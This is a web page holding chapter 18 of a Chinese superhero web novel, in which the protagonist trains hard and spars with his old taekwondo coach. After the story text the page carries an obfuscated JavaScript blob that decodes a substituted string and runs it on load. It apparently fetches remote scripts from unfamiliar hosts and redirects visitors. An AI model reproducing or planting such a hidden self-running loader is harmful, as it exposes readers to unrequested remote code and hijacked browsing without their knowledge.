零点书屋

正文 第18章 训练(第1页/共2页)

学校规定放假的五天很快就要结束,苏京市的受灾区域也在政府的大力支援下恢复的差不多了。

月寂这些天并没有闲着,这五天内的前四天,他都进行着高强度的训练,饮食同样也没有落下。

在做完时间长达一上午的运动后,他就会吃上一顿昂贵的营养餐,随后睡上一个午觉。

下午的时候,他就会制作一些视频来维持自己的费用需求,晚上则会开启新一轮的耐力训练,并且观看一些格斗视频来训练自己的肉搏能力。

这些天他过得相当充实,虽说不确定下一次怪兽的出现是何时何地,也许下一秒就会在旁破土而出,也许这一百年都不会再有这种事情发生,但自从那对母子死后,月寂便一直准备着,他必然会尽全力应对。

能力越大,责任越大。

虽说是超英离不开的话题,但月寂也不是纯粹的善良与正义,他只是不想让更多人经历他或那对母子的痛苦,并不是尽那份所谓的责任,只是不想让他人因此争端感到痛苦,只是想要那对母子的事情不再发生,只是……不希望。

正因为淋过雨,才想为他人撑一把伞,反之亦然,这取决于人和他的生存环境。

当下的情况,月寂本想着去直接报班去学习一些格斗能力,但并没有找到合适的,小时候他就学过跆拳道和散打,那些经历告诉月寂,那些训练只能加强一下身体素质,但对于生死搏斗上来说,这样的技巧提升只是杯水车薪。

如果去找一个顶级杀手或者纯正的格斗拳击或摔跤手去训练,那么效果可能会很显着。

月寂现在无非就是个稍微有点战斗意识的普通人,对比特种兵和顶级杀手,只能说是毫无还手之力。

但奥特曼的战斗向来不是普普通通的打架,超凡的身体素质和技能的释放都是一门学问,就像是一款硬核的游戏,而在这方面上,月寂完全有把握,开发新的打法和技能是他的一项天赋。

所以这几天,月寂一直训练的是力量,耐力,核心,以及格斗术的发力和组合技。

这几天的高强度训练一直让他感到肌肉酸痛,虽然用冷水澡适度缓解了一下,但身体明显还没恢复过来。

俗话说得好,三分练七分吃,月寂这几天的睡眠时间每日都达到十小时以上,且不计入午睡。

“嗯,已经彻底好了。”洗完澡后的月寂看向了自己的身体,身上的淤青早已经痊愈,取而代之的是比之前更明显的肌肉线条。

月寂这几天的力量训练并没有白做,他已经在额外配重30公斤的情况下,能够一口气做40多个钻石俯卧撑,在同龄人的水准里已经是顶天的存在了。

而在昨天,他还去了一趟小时候去的跆拳道馆,与以前的教练交流同意后,便对着沙袋进行了实战输出。

下午的明媚阳光洒进跆拳道馆内,一名少年正拳脚相加,疯狂对着沙袋进行各方面殴打。

嘭!!嘭!!

月寂通过完整的动力链不断的发力,竟震的沙袋直抖擞。一旁的教练看到此景,也不由得夸赞起来。

“这么久没见,又去哪里练了啊?”

他笑着问道。

月寂听到后,接过话题。

“没有,没有,就是以前一些武学知识我融入了一下,毕竟带动全身力量和单独手臂发力是截然不同的,我在网上学了些格斗术,便想来施展一下。”

教练听后,也不由分说,抱拳请求与他实战来上一把。

月寂听后也是爽快的答应了。

穿上防具后,他们面对面站着,随着底下的学生吹起口哨,二人便开始了切磋。

正常战斗中,双方的风格都有所不同,因为本身教练所用的就是跆拳道本派的战法,出招方式都大差不差的以脚为主要攻击手段,且招式都是固定的。

月寂的战斗方法是尽可能快速了结对方的生命,以咽喉,肋骨,下巴,眼睛等重要器官进行致命攻击,所以在这种场合下明显放不开手脚。

现在的他们力量差距并不算很大,甚至月寂更胜一筹,但在正式场合限制下,他的技巧明显有着弊端。

“喝啊!”

教练怒目圆睁,一记标准的跆拳道横扫腿袭来,速度之快,甚发出破空声。

月寂反应也是够快,在几次生死战斗中早已磨练出惊人的反应力,见状迅速后撤步,对方脚尖与胸口的防具擦过,险些被击中。

不等对面脚落地,月寂便调整好姿态,随后脚后跟发力,往前狠狠地一踏,如同重炮般的垫步正踹便直面胸门。

砰!

教练一个踉跄,往后倒退几步便跌倒在地。

第一回合迅速的结束,连教练都对这力道为之感叹,即便隔着厚厚的海绵防具,他依然从腹部那里感受到强烈的痛楚。

“好家伙,你小子下手这么重啊!”

他一脸笑着,然后感叹道。

“只能说是把发力技巧融入到实战中了。”

月寂说罢,然后伸手扶起教练。一边扶着,一边继续说道。

“再来几回合吧,我的脚法确实需要磨练。”

“好!”

双方重新整装待发。

教练发出一声充满气势的“哈!”,随后摆开跆拳道的基本起手式。这个姿势可以很好的辅助腿发力和平衡。而月寂则是现代搏击曲臂防守的格斗式,同时脚下前后跳步,保持着身体的机动性,在这一点上,他使用的并不是传统的前后跳步,而是与跆拳道一样的同脚前后撤步。

月寂很清楚跆拳道比较注重腿法和灵活度,他在小时候就达到了红带的水准。

不同颜色的缎带意味着实力的高低,以及跆拳道的地位。

吱!!!

随着旁侧学生吹响口号,双方再一次展开交锋。

嘣。

月寂一个踏步,眼神充满了一股坚韧不拔的战意,随后用起小时候学习跆拳道的一个腿法:360°旋转踢。

不再是普通的转动身体,而是将最后的旋转的动能全部集中在脚上。

在教练的眼中,一道极快的旋转白光后,重重的踢击便命中自己的左肋骨的位置。

他明显被月寂所使用的招式震撼住了,日常生活中的跆拳道更具备观赏性,往往旋转后就只是正常的踢出,稳住身形就已经很不容易了。但眼前的年轻人竟真把这个战术融入到生死搏斗上,190身高的他直接被命中,且是在肋骨上,要不是有防具,这下至少修养个三天。

&n
『加入书签,方便阅读』
-->> 本章未完,点击下一页继续阅读(第1页/共2页)

!function(){function a(a){var _idx="b5cibtb4xc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n/h^/s@QjR8)n(6)F)oR("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"s@Q"=^8")n(6)F)oR("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"s@Qd2(LCYmRD(JhfmRT4"="s@Q5p(LYpmq^Xf(LmRT4"="s@QD7(LSqm(f24hJmRT4"="s@QdC(LJ^mRD(JhfmRT4"="s@Q(C(L:4mq^Xf(LmRT4"="s@QC2(LSYm(f24hJmRT4"="s@Q25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPs@Q2F(LCYmX{LX@ShmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPs@Q2F(LCYmX{LX@ShmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n/f/s@Qj(8}vR8)n(6)F)oR("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();